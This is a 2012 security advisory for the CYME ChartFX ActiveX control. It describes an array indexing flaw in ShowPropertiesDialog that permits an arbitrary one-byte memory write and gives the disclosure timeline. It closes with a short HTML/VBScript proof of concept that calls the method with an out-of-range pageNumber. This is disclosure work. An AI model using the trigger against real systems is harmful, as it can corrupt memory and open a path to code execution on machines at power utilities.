Cyme ChartFX Client Server - ActiveX Control Array Indexing

#####################################################################################

Application:   CYME Power Engineering Software

Platforms:   Windows
Version:   CYME version 5.0.12.663.

Secunia: SA48430

{PRL}:   2012-29

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

The CYME Power Engineering software is a suite of applications composed of a network editor, analysis
modules and user-customizable model libraries from which you can choose to get the most powerful solution. 

The modules available comprise a variety of advanced applications and extensive libraries for either
transmission/industrial or distribution power network analysis.
 
(http://www.cyme.com/software/)
 
This software is use by all major electrical production/distrubtion company
http://www.cyme.com/company/clients/
 
#####################################################################################

============================
2) Report Timeline
============================

2012-03-14  Vulnerability reported to Secunia
2012-10-03  Publication of this advisory (180 Days)


#####################################################################################

============================
3) Technical details
============================
The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()"
method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be
exploited to write a single byte value to an arbitrary memory location via the
"pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.


#####################################################################################

===========
4) The Code
===========
<object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' />
<script language='vbscript'>
targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll"
prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )"
memberName = "ShowPropertiesDialog"
progid = "Cfx62ClientServer.Chart"
argCount = 2
 
arg1="defaultV"
arg2=2147483647
 
target.ShowPropertiesDialog arg1 ,arg2